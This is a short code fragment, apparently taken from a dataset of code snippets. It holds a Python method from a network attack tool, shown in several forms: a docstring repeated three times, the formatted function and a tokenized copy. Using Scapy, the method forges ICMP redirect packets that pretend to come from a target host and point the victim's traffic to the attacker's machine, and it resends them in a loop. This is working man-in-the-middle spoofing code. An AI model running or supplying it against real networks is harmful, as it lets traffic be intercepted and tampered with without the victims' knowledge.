(self)
return self.victim[0]
Send ICMP redirects to the victim
Send ICMP redirects to the victim
Send ICMP redirects to the victim
def inject(self):
        """ Send ICMP redirects to the victim
        """
        # icmp redirect
        pkt = IP(src=self.target[0], dst=self.victim[0])
        pkt /= ICMP(type=5, code=1, gw=self.local[0])

        # fake UDP
        pkt /= IP(src=self.victim[0], dst=self.target[0])
        pkt /= UDP()

        while self.running:
            send(pkt)
            time.sleep(self.config['respoof'].value)

        return self.victim[0]
def inject ( self ) : # icmp redirect pkt = IP ( src = self . target [ 0 ] , dst = self . victim [ 0 ] ) pkt /= ICMP ( type = 5 , code = 1 , gw = self . local [ 0 ] ) # fake UDP pkt /= IP ( src = self . victim [ 0 ] , dst = self . target [ 0 ] ) pkt /= UDP ( ) while self . running : send ( pkt ) time . sleep ( self . config [ 'respoof' ] . value ) return self . victim [ 0 ]